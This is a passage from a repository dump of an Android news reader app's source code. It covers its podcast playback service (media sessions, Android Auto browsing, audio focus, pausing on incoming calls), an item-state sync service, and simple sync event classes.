NEXT_ID.getAndIncrement();\n\n    @Nullable\n    @Override\n    public BrowserRoot onGetRoot(@NonNull String s, int i, @Nullable Bundle bundle) {\n        Bundle extras = new Bundle();\n        extras.putBoolean(CONTENT_STYLE_SUPPORTED, true);\n        extras.putInt(CONTENT_STYLE_BROWSABLE_HINT, CONTENT_STYLE_GRID_ITEM_HINT_VALUE);\n        extras.putInt(CONTENT_STYLE_PLAYABLE_HINT, CONTENT_STYLE_LIST_ITEM_HINT_VALUE);\n\n        return new MediaBrowserServiceCompat.BrowserRoot(\n                getString(R.string.app_name),// Name visible in Android Auto\n                extras);\n    }\n\n    @Override\n    public void onLoadChildren(@NonNull String s, @NonNull Result<List<MediaBrowserCompat.MediaItem>> result) {\n        Log.d(TAG, \"onLoadChildren() called with: s = [\" + s + \"], result = [\" + result + \"]\");\n\n        List<MediaBrowserCompat.MediaItem> mediaItems = new ArrayList<>();\n\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(this);\n\n        if(!s.startsWith(\"FEED_\")) {\n            for (PodcastFeedItem feed : dbConn.getListOfFeedsWithAudioPodcasts()) {\n                MediaDescriptionCompat.Builder desc =\n                        new MediaDescriptionCompat.Builder()\n                                .setMediaId(\"FEED_\" + feed.mFeed.getId())\n                                .setTitle(feed.mFeed.getFeedTitle())\n                                .setSubtitle(feed.mPodcastCount + \" podcasts\");\n\n                if (feed.mFeed.getFaviconUrl() != null) {\n                    desc.setIconUri(Uri.parse(feed.mFeed.getFaviconUrl()));\n                }\n\n                mediaItems.add(new MediaBrowserCompat.MediaItem(desc.build(), MediaBrowserCompat.MediaItem.FLAG_BROWSABLE));\n            }\n        } else {\n            long feedId = Long.parseLong(s.substring(5));\n            for (PodcastItem item: dbConn.getListOfAudioPodcastsForFeed(this, feedId)) {\n                MediaDescriptionCompat.Builder desc =\n                        new MediaDescriptionCompat.Builder()\n                                .setMediaId(\"PODCAST_\" + item.itemId)\n                                .setTitle(item.title);\n\n                if (item.author != null) {\n                    desc.setSubtitle(item.author);\n                }\n                if (item.favIcon != null) {\n                    desc.setIconUri(Uri.parse(item.favIcon));\n                }\n\n                /*\n                //Song duration\n                Long duration = 100L;\n                Bundle songDuration = new Bundle();\n                songDuration.putLong(MediaMetadataCompat.METADATA_KEY_DURATION, duration);\n                desc.setExtras(songDuration);\n                */\n\n\n                mediaItems.add(new MediaBrowserCompat.MediaItem(desc.build(), MediaBrowserCompat.MediaItem.FLAG_PLAYABLE));\n            }\n        }\n\n\n        result.sendResult(mediaItems);\n    }\n\n    @Override\n    public boolean onUnbind(Intent intent) {\n        Log.d(TAG, \"onUnbind() called with: intent = [\" + intent + \"] - ID: \" + id);\n        return super.onUnbind(intent);\n    }\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        Log.v(TAG, \"onCreate PodcastPlaybackService - ID: \" + id);\n\n        // pause podcast when phone is ringing\n        if(ActivityCompat.checkSelfPermission(this, Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {\n            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.S) {\n                TelephonyManager telephony = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);\n                customTelephonyCallback = new CustomTelephonyCallback();\n                telephony.registerTelephonyCallback(this.getMainExecutor(), customTelephonyCallback);\n            } else {\n                TelephonyManager mgr = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);\n                if (mgr != null) {\n                    mgr.listen(phoneStateListener, PhoneStateListener.LISTEN_CALL_STATE);\n                }\n            }\n        }\n\n        initMediaSessions();\n\n        podcastNotification = new PodcastNotification(this, mSession);\n        mHandler = new Handler();\n        eventBus = EventBus.getDefault();\n        eventBus.register(this);\n        //eventBus.post(new PodcastPlaybackServiceStarted());\n\n        setSessionToken(mSession.getSessionToken());\n\n        Intent intent = new Intent(this, NewsReaderListActivity.class);\n        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP);\n        PendingIntent pi = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_IMMUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);\n        mSession.setSessionActivity(pi);\n\n        //startForeground(PodcastNotification.NOTIFICATION_ID, podcastNotification.getNotification());\n\n        /*\n        //Handles headphones coming unplugged. cannot be done through a manifest receiver\n        IntentFilter filter = new IntentFilter(AudioManager.ACTION_AUDIO_BECOMING_NOISY);\n        registerReceiver(mNoisyReceiver, filter);\n        */\n    }\n\n    @Override\n    public void onDestroy() {\n        Log.v(TAG, \"onDestroy PodcastPlaybackService - ID: \" + id);\n\n        if (!isActive()) {\n            Log.v(TAG, \"Stopping PodcastPlaybackService/PlaybackService because of inactivity\");\n            stopSelf();\n\n            if (mSession != null) {\n                mSession.release();\n            }\n        } else {\n            Log.v(TAG, \"Stopping PlaybackService is not active - skip exit\");\n        }\n\n        try {\n            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.S) {\n                TelephonyManager telephony = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);\n                telephony.unregisterTelephonyCallback(customTelephonyCallback);\n            } else {\n                TelephonyManager mgr = (TelephonyManager) getSystemService(TELEPHONY_SERVICE);\n                if (mgr != null) {\n                    mgr.listen(phoneStateListener, PhoneStateListener.LISTEN_NONE);\n                }\n            }\n        } catch (Exception ex) {\n            Log.e(TAG, \"Probably missing permission..\" + ex);\n        }\n\n        mExecutorService.shutdown();\n        podcastNotification.cancel();\n\n        eventBus.unregister(this);\n\n        super.onDestroy();\n    }\n\n\n    @Override\n    public int onStartCommand(Intent intent, int flags, int startId) {\n        Log.d(TAG, \"onStartCommand() called with: intent = [\" + intent + \"], flags = [\" + flags + \"], startId = [\" + startId + \"]\");\n        MediaButtonReceiver.handleIntent(mSession, intent);\n\n        if (intent != null) {\n            if (mPlaybackService != null) {\n                mPlaybackService.destroy();\n                mPlaybackService = null;\n            }\n\n            stopProgressUpdates();\n\n            if(intent.hasExtra(MEDIA_ITEM)) {\n                MediaItem mediaItem = (MediaItem) intent.getSerializableExtra(MEDIA_ITEM);\n\n                if (mediaItem instanceof PodcastItem) {\n                    //if (((PodcastItem) mediaItem).isYoutubeVideo()) {\n                    //    mPlaybackService = new YoutubePlaybackService(this, podcastStatusListener, mediaItem);\n                    //} else {\n                        mPlaybackService = new MediaPlayerPlaybackService(this, podcastStatusListener, mediaItem);\n                    //}\n                } else if (mediaItem instanceof TTSItem) {\n                    mPlaybackService = new TTSPlaybackService(this, podcastStatusListener, mediaItem);\n                }\n\n                updateMetadata(mediaItem);\n\n                // Update notification after setting metadata (notification uses metadata information)\n                podcastNotification.createPodcastNotification();\n\n                mPlaybackService.playbackSpeedChanged(currentPlaybackSpeed);\n\n                startProgressUpdates();\n\n                requestAudioFocus();\n            }\n        }\n\n        return super.onStartCommand(intent, flags, startId);\n    }\n\n    private void updateMetadata(MediaItem mediaItem) {\n        MediaItem mi = mediaItem;\n        if(mi == null) {\n            mi = new PodcastItem(-1, \"\", \"\", \"\", \"\", false, null, false, \"\");\n        }\n\n        int totalDuration = 0;\n        if(mPlaybackService != null) {\n            totalDuration = mPlaybackService.getTotalDuration();\n        }\n\n        mSession.setMetadata(new MediaMetadataCompat.Builder()\n                .putString(MediaMetadataCompat.METADATA_KEY_ARTIST, mi.author)\n                .putString(MediaMetadataCompat.METADATA_KEY_TITLE, mi.title)\n                //.putString(MediaMetadataCompat.METADATA_KEY_DISPLAY_SUBTITLE, mediaItem.author) // Android Auto\n                .putString(MediaMetadataCompat.METADATA_KEY_ALBUM_ART_URI, mi.favIcon)\n                .putString(MediaMetadataCompat.METADATA_KEY_MEDIA_ID, String.valueOf(mi.itemId))\n                .putString(CURRENT_PODCAST_MEDIA_TYPE, getCurrentlyPlayedMediaType().toString())\n                .putLong(MediaMetadataCompat.METADATA_KEY_DURATION, totalDuration)\n                //.putLong(EXTRA_IS_EXPLICIT, EXTRA_METADATA_ENABLED_VALUE) // Android Auto\n                //.putLong(EXTRA_IS_DOWNLOADED, EXTRA_METADATA_ENABLED_VALUE) // Android Auto\n                .build());\n    }\n\n    /*\n    private Long getVideoWidth() {\n        if(mPlaybackService instanceof MediaPlayerPlaybackService) {\n            return ((MediaPlayerPlaybackService)mPlaybackService).getVideoWidth();\n        }\n        return null;\n    }\n    */\n\n    private final PlaybackService.PodcastStatusListener podcastStatusListener = new PlaybackService.PodcastStatusListener() {\n        @Override\n        public void podcastStatusUpdated() {\n            syncMediaAndPlaybackStatus();\n            if(mPlaybackService != null) {\n                updateMetadata(mPlaybackService.getMediaItem());\n            }\n        }\n\n        @Override\n        public void podcastCompleted() {\n            Log.d(TAG, \"Podcast completed, cleaning up\");\n\n            endCurrentMediaPlayback();\n\n            EventBus.getDefault().post(new PodcastCompletedEvent());\n        }\n    };\n\n    private void endCurrentMediaPlayback() {\n        Log.d(TAG, \"endCurrentMediaPlayback() called\");\n        stopProgressUpdates();\n\n        // Set metadata\n        updateMetadata(null);\n\n        if(mPlaybackService != null) {\n            mPlaybackService.destroy();\n            mPlaybackService = null;\n        }\n\n        syncMediaAndPlaybackStatus();\n\n        Log.d(TAG, \"cancel notification\");\n        podcastNotification.cancel();\n\n        abandonAudioFocus();\n    }\n\n    @Subscribe\n    public void onEvent(ExitPlayback event) {\n        this.endCurrentMediaPlayback();\n    }\n\n    @Subscribe\n    public void onEvent(TogglePlayerStateEvent event) {\n        Log.d(TAG, \"onEvent() called with: event = [\" + event + \"]\");\n        if(event.getState() == TogglePlayerStateEvent.State.Toggle) {\n            if (isPlaying()) {\n                Log.v(TAG, \"calling pause()\");\n                pause();\n            } else {\n                Log.v(TAG, \"calling play()\");\n                play();\n            }\n        } else if(event.getState() == TogglePlayerStateEvent.State.Play) {\n            Log.v(TAG, \"calling play()\");\n            play();\n        } else if(event.getState() == TogglePlayerStateEvent.State.Pause) {\n            Log.v(TAG, \"calling pause()\");\n            pause();\n        }\n    }\n\n    private boolean isPlaying() {\n        return (mPlaybackService != null && mPlaybackService.getStatus() == PlaybackStateCompat.STATE_PLAYING);\n    }\n\n    @Subscribe\n    public void onEvent(WindPodcast event) {\n        if(mPlaybackService != null) {\n            int seekTo = (int) (mPlaybackService.getCurrentPosition() + event.milliSeconds);\n            if(seekTo < 0) {\n                seekTo = 0;\n            }\n            mPlaybackService.seekTo(seekTo);\n        }\n    }\n\n    @Subscribe\n    public void onEvent(SeekPodcast event) {\n        if(mPlaybackService != null) {\n            int seekTo = (int) (event.milliSeconds);\n            mPlaybackService.seekTo(seekTo);\n        }\n    }\n\n    @Subscribe\n    public void onEvent(RegisterVideoOutput videoOutput) {\n        if(mPlaybackService != null && mPlaybackService instanceof MediaPlayerPlaybackService) {\n            ((MediaPlayerPlaybackService) mPlaybackService).setVideoView(videoOutput.surfaceView);\n        }\n    }\n\n    @Subscribe\n    public void onEvent(NewPodcastPlaybackListener newListener) {\n        syncMediaAndPlaybackStatus();\n    }\n\n    @Subscribe\n    public void onEvent(SpeedPodcast event) {\n        this.currentPlaybackSpeed = event.playbackSpeed;\n\n        if(mPlaybackService != null) {\n            mPlaybackService.playbackSpeedChanged(currentPlaybackSpeed);\n        }\n    }\n\n    public void play() {\n        if(mPlaybackService != null) {\n            // Start playback\n            mPlaybackService.play();\n            startProgressUpdates();\n\n            requestAudioFocus();\n        }\n    }\n\n    public void pause() {\n        if(mPlaybackService != null) {\n            mPlaybackService.pause();\n        }\n        stopProgressUpdates();\n\n        abandonAudioFocus();\n    }\n\n\n    private void requestAudioFocus() {\n        AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);\n\n        // Request audio focus for playback\n        int result = audioManager.requestAudioFocus(\n                audioFocusChangeListener,\n                // Use the music stream.\n                AudioManager.STREAM_MUSIC,\n                // Request permanent focus.\n                AudioManager.AUDIOFOCUS_GAIN);\n\n        if (result == AudioManager.AUDIOFOCUS_REQUEST_GRANTED) {\n            Log.d(TAG, \"AUDIOFOCUS_REQUEST_GRANTED\");\n        }\n    }\n\n    private void abandonAudioFocus() {\n        AudioManager audioManager = (AudioManager) getSystemService(Context.AUDIO_SERVICE);\n        // Abandon audio focus when playback complete\n        audioManager.abandonAudioFocus(audioFocusChangeListener);\n    }\n\n    private final AudioManager.OnAudioFocusChangeListener audioFocusChangeListener = focusChange -> {\n        if (focusChange == AudioManager.AUDIOFOCUS_LOSS) {\n            // Permanent loss of audio focus\n            // Pause playback immediately\n            mSession.getController().getTransportControls().pause();\n        }\n        else if (focusChange == AudioManager.AUDIOFOCUS_LOSS_TRANSIENT) {\n            // Pause playback\n            mSession.getController().getTransportControls().pause();\n        } else if (focusChange == AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK) {\n            // Lower the volume, keep playing\n        } else if (focusChange == AudioManager.AUDIOFOCUS_GAIN) {\n            // Your app has been granted audio focus again\n            // Raise volume to normal, restart playback if necessary\n            mSession.getController().getTransportControls().play();\n        }\n    };\n\n    private void startProgressUpdates() {\n        mScheduleFuture = mExecutorService.scheduleAtFixedRate(\n                () -> mHandler.post(PodcastPlaybackService.this::syncMediaAndPlaybackStatus), PROGRESS_UPDATE_INITIAL_INTERVAL,\n                PROGRESS_UPDATE_INTERNAL, TimeUnit.MILLISECONDS);\n    }\n\n    private void stopProgressUpdates() {\n        if (mScheduleFuture != null) {\n            mScheduleFuture.cancel(false);\n        }\n        syncMediaAndPlaybackStatus(); // Send one last update\n    }\n\n\n    public float getPlaybackSpeed() {\n        return currentPlaybackSpeed;\n    }\n\n    public void syncMediaAndPlaybackStatus() {\n        @PlaybackStateCompat.State int playbackState;\n        int currentPosition = 0;\n        int totalDuration = 0;\n        if(mPlaybackService == null || mPlaybackService.getMediaItem().itemId == -1) {\n            // When podcast is not initialized or playback is finished\n            playbackState = PlaybackStateCompat.STATE_NONE;\n\n            mSession.setPlaybackState(new PlaybackStateCompat.Builder()\n                    .setState(playbackState, currentPosition, 1.0f)\n                    .setActions(buildPlaybackActions(playbackState, false))\n                    .build());\n            stopForeground(false);\n        } else {\n            currentPosition = mPlaybackService.getCurrentPosition();\n            totalDuration = mPlaybackService.getTotalDuration();\n            playbackState = mPlaybackService.getStatus();\n\n            if (playbackState== PlaybackStateCompat.STATE_PLAYING) {\n                startForeground(PodcastNotification.NOTIFICATION_ID, podcastNotification.getNotification());\n            } else {\n                stopForeground(false);\n            }\n\n            mSession.setPlaybackState(new PlaybackStateCompat.Builder()\n                .setState(playbackState, currentPosition, 1.0f)\n                .setActions(buildPlaybackActions(playbackState, true))\n                .build());\n        }\n\n        mSession.setActive(playbackState == PlaybackStateCompat.STATE_PLAYING);\n\n        podcastNotification.updateStateOfNotification(playbackState, currentPosition, totalDuration);\n    }\n\n    private long buildPlaybackActions(int playbackState, boolean mediaLoaded) {\n        long actions = playbackState == PlaybackStateCompat.STATE_PLAYING ? PlaybackStateCompat.ACTION_PAUSE : PlaybackStateCompat.ACTION_PLAY;\n        actions |= PlaybackStateCompat.ACTION_SKIP_TO_PREVIOUS |\n                    PlaybackStateCompat.ACTION_SKIP_TO_NEXT;\n                //PlaybackStateCompat.ACTION_STOP;\n\n        if(mediaLoaded) {\n            actions |= PlaybackStateCompat.ACTION_SEEK_TO;\n        }\n        return actions;\n    }\n\n    PhoneStateListener phoneStateListener = new PhoneStateListener() {\n        @Override\n        public void onCallStateChanged(int state, String incomingNumber) {\n            if (state == TelephonyManager.CALL_STATE_RINGING) {\n                //Incoming call: Pause music\n                pause();\n            }\n            /*\n            else if(state == TelephonyManager.CALL_STATE_IDLE) {\n                //Not in call: Play music\n            } else if(state == TelephonyManager.CALL_STATE_OFFHOOK) {\n                //A call is dialing, active or on hold\n            }\n            */\n            super.onCallStateChanged(state, incomingNumber);\n        }\n    };\n\n    @RequiresApi(Build.VERSION_CODES.S)\n    class CustomTelephonyCallback extends TelephonyCallback implements TelephonyCallback.CallStateListener {\n\n        @Override\n        public void onCallStateChanged(int state) {\n            if(state == TelephonyManager.CALL_STATE_RINGING) {\n                pause();\n            }\n        }\n    }\n\n\n    private final class MediaSessionCallback extends MediaSessionCompat.Callback {\n        @Override\n        public void onPlayFromMediaId(String mediaId, Bundle extras) {\n            Log.d(TAG, \"onPlayFromMediaId() called with: mediaId = [\" + mediaId + \"], extras = [\" + extras + \"]\");\n\n            if(mediaId.startsWith(\"PODCAST_\")) {\n                int podcastId = Integer.parseInt(mediaId.substring(8));\n                DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(PodcastPlaybackService.this);\n\n                RssItem rssItem = dbConn.getRssItemById(podcastId);\n                PodcastItem podcastItem = ParsePodcastItemFromRssItem(PodcastPlaybackService.this, rssItem);\n\n                startPlayingPodcastItem(podcastItem);\n            }\n\n            super.onPlayFromMediaId(mediaId, extras);\n        }\n\n        @Override\n        public void onPlay() {\n            Log.d(TAG, \"onPlay() called\");\n            play();\n        }\n\n        @Override\n        public void onPause() {\n            Log.d(TAG, \"onPause() called\");\n            pause();\n        }\n\n        @Override\n        public void onPlayFromSearch(String query, Bundle extras) {\n            Log.d(TAG, \"onPlayFromSearch() called with: query = [\" + query + \"], extras = [\" + extras + \"]\");\n\n            // In case the user just says \"Play music\"\n            if(TextUtils.isEmpty(query)) {\n                List<PodcastItem> audioPodcasts = getAllPodcastItems();\n\n                // If there are any audio podcasts\n                if(audioPodcasts.size() > 0) {\n                    PodcastItem podcastItem = audioPodcasts.get(0);\n                    startPlayingPodcastItem(podcastItem);\n                }\n            } else {\n                // User is actually searching for something..\n                List<PodcastItem> audioPodcasts = getAllPodcastItems();\n                if(audioPodcasts.size() > 0) {\n                    boolean foundMatching = false;\n                    for(PodcastItem pi : audioPodcasts) {\n                        if(pi.title.contains(query)) {\n                            startPlayingPodcastItem(pi);\n                            foundMatching = true;\n                            break;\n                        }\n                    }\n\n                    // in case we didn't find a matching podcast.. palay a random one\n                    if(!foundMatching) {\n                        PodcastItem podcastItem = audioPodcasts.get(0);\n                        startPlayingPodcastItem(podcastItem);\n                    }\n                }\n            }\n            super.onPlayFromSearch(query, extras);\n        }\n\n        @Override\n        public void onCommand(String command, Bundle extras, ResultReceiver cb) {\n            Log.d(TAG, \"onCommand() called with: command = [\" + command + \"], extras = [\" + extras + \"], cb = [\" + cb + \"]\");\n            if (command.equals(PLAYBACK_SPEED_FLOAT)) {\n                Bundle b = new Bundle();\n                b.putFloat(PLAYBACK_SPEED_FLOAT, currentPlaybackSpeed);\n                cb.send(0, b);\n            } else if(command.equals(CURRENT_PODCAST_ITEM_MEDIA_ITEM)) {\n                Bundle b = new Bundle();\n                if(mPlaybackService != null) {\n                    b.putSerializable(CURRENT_PODCAST_ITEM_MEDIA_ITEM, mPlaybackService.getMediaItem());\n                } else {\n                    b.putSerializable(CURRENT_PODCAST_ITEM_MEDIA_ITEM, null);\n                }\n                cb.send(0, b);\n            }\n            super.onCommand(command, extras, cb);\n        }\n\n        @Override\n        public void onSeekTo(long pos) {\n            Log.d(TAG, \"onSeekTo() called with: pos = [\" + pos + \"]\");\n            super.onSeekTo(pos);\n        }\n\n        @Override\n        public void onSkipToNext() {\n            Log.d(TAG, \"onSkipToNext() called\");\n\n            MediaItem currentlyPlayingPodcast = getCurrentlyPlayingPodcast();\n            List<PodcastItem> podcastItems = getAllPodcastItems();\n\n            for(int i = 0; i < podcastItems.size(); i++) {\n                PodcastItem podcastItem = podcastItems.get(i);\n                if(podcastItem.itemId == currentlyPlayingPodcast.itemId) {\n                    if(i+1 < podcastItems.size()) {\n                        startPlayingPodcastItem(podcastItems.get(i+1));\n                    }\n                    break;\n                }\n            }\n\n            super.onSkipToNext();\n        }\n\n        @Override\n        public void onSkipToPrevious() {\n            Log.d(TAG, \"onSkipToPrevious() called\");\n\n            MediaItem currentlyPlayingPodcast = getCurrentlyPlayingPodcast();\n            List<PodcastItem> podcastItems = getAllPodcastItems();\n\n            for(int i = 0; i < podcastItems.size(); i++) {\n                PodcastItem podcastItem = podcastItems.get(i);\n                if(podcastItem.itemId == currentlyPlayingPodcast.itemId) {\n                    if(i > 0) {\n                        startPlayingPodcastItem(podcastItems.get(i-1));\n                    }\n                    break;\n                }\n            }\n\n            super.onSkipToPrevious();\n        }\n\n        @Override\n        public boolean onMediaButtonEvent(Intent mediaButtonEvent) {\n            Log.d(TAG, \"onMediaButtonEvent() called with: mediaButtonEvent = [\" + mediaButtonEvent + \"]\");\n\n            if(mediaButtonEvent.hasExtra(\"android.intent.extra.KEY_EVENT\")) {\n                KeyEvent keyEvent = mediaButtonEvent.getParcelableExtra(\"android.intent.extra.KEY_EVENT\");\n                Log.d(TAG, keyEvent.toString());\n\n                // Stop requested (e.g. notification was swiped away)\n                if(keyEvent.getKeyCode() == KEYCODE_MEDIA_STOP) {\n                    pause();\n                    endCurrentMediaPlayback();\n                    stopSelf();\n                    /*\n                    boolean isPlaying = mSession.getController().getPlaybackState().getState() == PlaybackStateCompat.STATE_PLAYING;\n                    if(isPlaying) {\n                        EventBus.getDefault().post(new TogglePlayerStateEvent());\n                    }\n                    */\n                }\n            }\n            return super.onMediaButtonEvent(mediaButtonEvent);\n        }\n    }\n\n    private void startPlayingPodcastItem(PodcastItem podcastItem) {\n        Intent intent = new Intent(PodcastPlaybackService.this, PodcastPlaybackService.class);\n        intent.putExtra(PodcastPlaybackService.MEDIA_ITEM, podcastItem);\n        startService(intent);\n    }\n\n    private List<PodcastItem> getAllPodcastItems() {\n        DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(PodcastPlaybackService.this);\n        List<PodcastItem> audioPodcasts= new ArrayList<>();\n        for(PodcastFeedItem podcastFeed : dbConn.getListOfFeedsWithAudioPodcasts()) {\n            long id = podcastFeed.mFeed.getId();\n            audioPodcasts.addAll(dbConn.getListOfAudioPodcastsForFeed(PodcastPlaybackService.this, id));\n        }\n        return audioPodcasts;\n    }\n\n    private void initMediaSessions() {\n\n        //String packageName = PodcastNotificationToggle.class.getPackage().getName();\n        //ComponentName receiver = new ComponentName(packageName, PodcastNotificationToggle.class.getName());\n        ComponentName mediaButtonReceiver = new ComponentName(this, MediaButtonReceiver.class);\n        mSession = new MediaSessionCompat(this, \"PlayerService\", mediaButtonReceiver, null);\n        mSession.setFlags(MediaSessionCompat.FLAG_HANDLES_MEDIA_BUTTONS |\n                MediaSessionCompat.FLAG_HANDLES_TRANSPORT_CONTROLS);\n        mSession.setPlaybackState(new PlaybackStateCompat.Builder()\n                .setState(PlaybackStateCompat.STATE_NONE, 0, 0)\n                .setActions(buildPlaybackActions(PlaybackStateCompat.STATE_PAUSED, false)).build());\n\n        mSession.setCallback(new MediaSessionCallback());\n\n        //Intent mediaButtonIntent = new Intent(Intent.ACTION_MEDIA_BUTTON);\n        //mediaButtonIntent.setClass(mContext, MediaButtonReceiver.class);\n        //PendingIntent pendingIntent = PendingIntent.getBroadcast(mContext, 0, mediaButtonIntent, 0);\n        //mSession.setMediaButtonReceiver(pendingIntent);\n\n\n        updateMetadata(null);\n    }\n\n    private PlaybackService.VideoType getCurrentlyPlayedMediaType() {\n        if(mPlaybackService != null) {\n            return mPlaybackService.getVideoType();\n        } else {\n            return PlaybackService.VideoType.None;\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/SyncItemStateService.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.services;\n\nimport android.app.ActivityManager;\nimport android.app.ActivityManager.RunningServiceInfo;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.util.Log;\n\nimport androidx.annotation.NonNull;\nimport androidx.core.app.JobIntentService;\n\nimport java.io.IOException;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderApplication;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.ItemStateSync;\n\npublic class SyncItemStateService extends JobIntentService {\n\n\t/**\n\t * Unique job/channel ID for this service.\n\t */\n\tprivate static final int JOB_ID = 1001;\n    private static final String TAG = SyncItemStateService.class.getCanonicalName();\n\n    protected @Inject ApiProvider mApi;\n\n\t/**\n\t * Convenience method for enqueuing work in to this service.\n\t */\n\tpublic static void enqueueWork(Context context, Intent work) {\n\t\tenqueueWork(context, SyncItemStateService.class, JOB_ID, work);\n\t}\n\n\t@Override\n\tpublic void onCreate() {\n\t\t((NewsReaderApplication) getApplication()).getAppComponent().injectService(this);\n\t\tsuper.onCreate();\n\t}\n\n\t@Override\n\tprotected void onHandleWork(@NonNull Intent intent) {\n\t\tif(mApi.getNewsAPI() == null) {\n\t\t\tLog.w(TAG, \"API is not initialized\");\n\t\t\treturn;\n\t\t}\n\n        final DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(this);\n\n        try {\n\t\t\tItemStateSync.PerformItemStateSync(mApi.getNewsAPI(), dbConn);\n\t\t\tLog.v(TAG, \"SyncItemStateService finished.\");\n\t\t} catch (IOException e) {\n\t\t\tLog.e(TAG, \"SyncItemState failed:\" + e.toString());\n\t\t\te.printStackTrace();\n        }\n    }\n\n\tpublic static boolean isMyServiceRunning(Context context) {\n\t    ActivityManager manager = (ActivityManager) context.getSystemService(ACTIVITY_SERVICE);\n\t    for (RunningServiceInfo service : manager.getRunningServices(Integer.MAX_VALUE)) {\n\t        if (\"de.luhmer.owncloudnewsreader.services.SyncItemStateService\".equals(service.service.getClassName())) {\n\t            return true;\n\t        }\n\t    }\n\t    return false;\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/events/StopWebArchiveDownloadEvent.kt",
    "content": "package de.luhmer.owncloudnewsreader.services.events\n\nclass StopWebArchiveDownloadEvent\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/events/SyncFailedEvent.kt",
    "content": "package de.luhmer.owncloudnewsreader.services.events\n\n/**\n * Created by David on 26.08.2016.\n */\nclass SyncFailedEvent(\n    throwable: Throwable,\n) : Throwable(throwable)\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/events/SyncFinishedEvent.kt",
    "content": "package de.luhmer.owncloudnewsreader.services.events\n\n/**\n * Created by David on 26.08.2016.\n */\nclass SyncFinishedEvent\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/events/SyncStartedEvent.kt",
    "content": "package de.luhmer.owncloudnewsreader.services.events\n\n/**\n * Created by David on 26.08.2016.\n */\nclass SyncStartedEvent\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/services/podcast/MediaPlayerPlaybackService.java",
    "content": "package de.luhmer.owncloudnewsreader.services.podcast;\n\nimport android.content.Context;\nimport android.media.MediaPlayer;\nimport android.os.Build;\nimport android.support.v4.media.session.PlaybackStateCompat;\nimport android.util.Log;\nimport android.view.SurfaceHolder;\nimport android.view.SurfaceView;\nimport android.widget.Toast;\n\nimport java.io.IOException;\n\nimport de.luhmer.owncloudnewsreader.model.MediaItem;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\n\n/**\n * Created by david on 31.01.17.\n */\n\npublic class MediaPlayerPlaybackService extends PlaybackService {\n    private static final String TAG = MediaPlayerPlaybackService.class.getCanonicalName();\n    private final MediaPlayer mMediaPlayer;\n    //private View parentView;\n\n    public MediaPlayerPlaybackService(final Context context, PodcastStatusListener podcastStatusListener, MediaItem mediaItem) {\n        super(podcastStatusListener, mediaItem);\n\n        mMediaPlayer = new MediaPlayer();\n\n        // disable video view on launch (e.g. for Android Auto)\n        setVideoView(null);\n\n        //mMediaPlayer.setOnVideoSizeChangedListener((mp, width, height) -> configureVideo(width, height));\n\n        mMediaPlayer.setOnErrorListener((mediaPlayer, i, i2) -> {\n            setStatus(PlaybackStateCompat.STATE_ERROR);\n            Toast.makeText(context, \"Failed to open podcast\", Toast.LENGTH_LONG).show();\n            return false;\n        });\n\n        mMediaPlayer.setOnPreparedListener(mediaPlayer -> {\n            podcastStatusListener.podcastStatusUpdated();\n            setStatus(PlaybackStateCompat.STATE_PAUSED);\n            play();\n        });\n\n        mMediaPlayer.setOnCompletionListener(mediaPlayer -> {\n            pause(); //Send the over signal\n            podcastCompleted();\n        });\n\n\n        try {\n            setStatus(PlaybackStateCompat.STATE_CONNECTING);\n            mMediaPlayer.setDataSource(mediaItem.link);\n            mMediaPlayer.prepareAsync();\n        } catch (IOException e) {\n            e.printStackTrace();\n            setStatus(PlaybackStateCompat.STATE_ERROR);\n        }\n    }\n\n    @Override\n    public void destroy() {\n        mMediaPlayer.stop();\n        mMediaPlayer.reset();\n        mMediaPlayer.release();\n    }\n\n    @Override\n    public void play() {\n        try {\n            int progress = mMediaPlayer.getCurrentPosition() / mMediaPlayer.getDuration();\n            if (progress >= 1) {\n                mMediaPlayer.seekTo(0);\n            }\n            setStatus(PlaybackStateCompat.STATE_PLAYING);\n        } catch (Exception ex) {\n            Log.e(TAG, \"Error while playing\", ex);\n        }\n\n        mMediaPlayer.start();\n\n        //populateVideo();\n 